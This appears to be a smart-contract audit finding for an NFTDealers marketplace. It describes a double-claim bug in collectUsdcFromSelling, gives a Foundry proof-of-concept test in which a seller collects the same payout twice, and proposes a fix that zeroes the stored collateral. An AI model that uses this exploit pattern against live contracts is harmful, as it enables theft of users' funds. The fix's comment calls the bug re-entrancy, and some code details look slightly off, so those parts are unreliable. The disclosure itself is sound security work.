function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
The following test (written for Foundry) demonstrates the exploit: the same seller collects the payout twice after a single sale, effectively stealing funds that should belong to other users.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/NFTDealers.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockUSDC is ERC20 {
constructor() ERC20("Mock USDC", "USDC") {
_mint(msg.sender, 1_000_000 * 10**6);
}
function decimals() public view virtual override returns (uint8) {
return 6;
}
}
contract NFTDealersExploitTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
address public owner = address(0x123);
address public attacker = address(0x456);
address public attackerSecondWallet = address(0x789);
uint256 constant LOCK_AMOUNT = 20 * 10**6;
uint256 constant PRICE = 100 * 10**6;
function setUp() public {
vm.deal(owner, 1 ether);
vm.deal(attacker, 1 ether);
vm.deal(attackerSecondWallet, 1 ether);
usdc = new MockUSDC();
usdc.transfer(attacker, 1000 * 10**6);
usdc.transfer(attackerSecondWallet, 1000 * 10**6);
vm.startPrank(owner);
nftDealers = new NFTDealers(
owner,
address(usdc),
"Test Collection",
"TEST",
"https://example.com/",
LOCK_AMOUNT
);
nftDealers.revealCollection();
nftDealers.whitelistWallet(attacker);
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
vm.startPrank(attacker);
uint256 tokenId = 1;
nftDealers.list(tokenId, uint32(PRICE));
vm.stopPrank();
vm.startPrank(attackerSecondWallet);
usdc.approve(address(nftDealers), PRICE);
uint256 listingId = 1;
nftDealers.buy(listingId);
vm.stopPrank();
vm.startPrank(attacker);
uint256 expectedPerCall = 119 * 10**6;
uint256 attackerBalanceBefore = usdc.balanceOf(attacker);
nftDealers.collectUsdcFromSelling(listingId);
uint256 attackerBalanceAfterFirst = usdc.balanceOf(attacker);
assertEq(attackerBalanceAfterFirst - attackerBalanceBefore, expectedPerCall, "First collect amount mismatch");
uint256 contractBalanceAfterFirst = usdc.balanceOf(address(nftDealers));
assertEq(contractBalanceAfterFirst, 1 * 10**6, "Contract should have 1 USDC left");
vm.startPrank(attackerSecondWallet);
usdc.transfer(address(nftDealers), expectedPerCall);
vm.stopPrank();
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(listingId);
uint256 attackerBalanceAfterSecond = usdc.balanceOf(attacker);
assertEq(attackerBalanceAfterSecond - attackerBalanceAfterFirst, expectedPerCall, "Second collect amount mismatch");
vm.stopPrank();
uint256 contractBalanceAfterSecond = usdc.balanceOf(address(nftDealers));
assertEq(contractBalanceAfterSecond, 1 * 10**6, "Contract should have 1 USDC left again");
console.log("Exploit successful: attacker drained", expectedPerCall * 2, "USDC from the contract");
}
}
Update the function to clear the collateral and/or mark the listing as claimed. A simple fix is to zero collateralForMinting[listing.tokenId] before transferring, preventing further claims for the same token.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
+ // Prevent re-entrancy and double‑claim
+ collateralForMinting[listing.tokenId] = 0;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}